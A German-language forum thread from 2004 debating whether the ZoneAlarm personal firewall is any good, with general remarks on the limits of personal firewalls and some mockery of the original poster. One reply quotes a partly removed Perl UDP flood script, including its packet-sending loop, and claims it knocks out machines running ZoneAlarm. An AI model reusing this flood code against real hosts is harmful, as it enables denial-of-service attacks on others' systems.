Zonealarm

Re(7): seids

Tuvok. — Tue, 30 Mar 2004 10:55:47 GMT

also sind Software Firewall nur für das Heimteleofnieren geeignet?
dachte die blocken ab.

Re(2): Zonealarm

Tuvok. — Mon, 29 Mar 2004 17:46:53 GMT

Da haben wohl einige Leute nicht bedacht das man höflich zu fremden Leuten ist, und sie nicht verarscht wenn sie Fragen stellen.

Re: seids

Twist — Sun, 28 Mar 2004 20:52:39 GMT

hast beim schreiben in den spiegel geschaut gell?

Re: Zonealarm

Kullerauge — Fri, 19 Mar 2004 13:15:56 GMT

Das hier:

#!/usr/bin/perl
use Socket;

system(clear);
print "\n";
if(!defined($ARGV[0]))
{
&usage
}

my ($target);
$target=$ARGV[0];

[....

Passages für Scriptkiddies entschärft

...]

for (; {
$size=$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand;
$port=int(rand 65000) +1;
send(DoS, 0, $size, sockaddr_in($port, $iaddr));
}
sub usage {die("\n\n[*] Usage : perl $0 \n\n");}

einmal Remote gestartet und der Rechner mit ZA ist ausser Gefecht gesetzt
Von einer Firewall erwartet man das sie den Rechner schützt und keine Angriffsplattform bietet.

Re(6): seids

leave_my_name_out — Thu, 18 Mar 2004 13:05:00 GMT

soweit so gut

das erklärt aber noch lang nicht,warum auf ZA einghaut wird wie wild und im gegenzug andere PFW's gelobt bzw als alternative genannt werden
(bezieht sich jetzt auf die anderen gh user eh klar,du hast ja grad gsagt dass alle PFW's gleich ungeeignet sind)

is also doch die gruppendynamik schuld !?

Re(5): seids

Wizard51 — Thu, 18 Mar 2004 11:47:38 GMT

Ja, hast recht, war ein Freud'scher. Aber nichtsdestotrotz greif eine PFW halt am falschen Layer.

IMHO ist das einzige, wozu eine PFW taugt, das Heimtelefonieren von Programmen zu erkennen, und selbst da sollte man wissen, was genau in einem solchen Moment abläuft.

Re(3): seids

Wizard51 — Thu, 18 Mar 2004 11:37:37 GMT

EIne PFW kann niemals Brain 1.0 ersetzen - und genau dort beginnt Sicherheit. Und wer keine Ahnung davon hat, wie Netzwerkverbindungen und Protokolle zumindest im Ansatz funktionieren, erreicht durch eine PFW nur scheinbar mehr Sicherheit - es werden halt irgendwann alle Meldungen weggeklickt, weil man sich nicht auskennt, oder weil's zu mühsam ist, diese zu analysieren.

Abgesehen davon kann jeder Cracker/Hacker, der ein bisschen mehr als ein einfaches Scriptkiddie drauf hat, eine PFW recht einfach umgehen und/oder deaktivieren.

Das Prinzip einer PFW setzt einfach schon am falschen OSI-Layer an - viel zu weit oben. Da werden *TRÖT*s erst analysiert, wenn sie sich schon im System befinden, und das ist eigentlich etwas zu weit hinten. Eine Firewall kann nur dann gut greifen, wenn das zu schützende System NICHT das eigene ist.

Das oben gesagte gilt für jede PFW.

Re(2): seids

leave_my_name_out — Thu, 18 Mar 2004 11:27:33 GMT

ned lachen aber *g* weder hab ich einen test gelesen in dem za beurteilt wird noch hätt ich mich sonstirgendwie über das teil informiert....und deswegen find die frage eigentlich gar ned so uninteressant

was macht die za (oder eben nicht),dass alle so dermassen auf dem 'produkt' rumhacken ?
gibts dafür auch richtige argumente oder is das so a gruppendynamik gschichtl (wie bei windows halt hehe windoooooof )

also was spricht gegen die ZA und vorallem warum ?
ausser das andere pfw's vl einfach besser sind,weil wasauchimmer

Recht hast!

Xane — Thu, 18 Mar 2004 08:01:04 GMT

Genau, vollkommen richtig!

Re: Zonealarm

Xane — Wed, 17 Mar 2004 19:19:54 GMT

Warum?

Re: Zonealarm

Twist — Wed, 17 Mar 2004 18:59:10 GMT

bitte komm erst in 70 jahren wieder....bleib auf der voyager

Re(3): Zonealarm

Foxx — Wed, 17 Mar 2004 18:49:47 GMT

lol da pisst man sich an, wen man das liest:

http://www.besse.at/tuvok/

sogar ein eigenes "Tuvok-Hass Board" giebts...

http://pub46.ezboard.com/btuvokhassboard

Re: Zonealarm

Somnatic — Wed, 17 Mar 2004 18:07:56 GMT

TuvokALAAAARM

Zonealarm

Tuvok. — Wed, 17 Mar 2004 18:06:42 GMT

Was ist an Zonealarm so schlecht oder gut?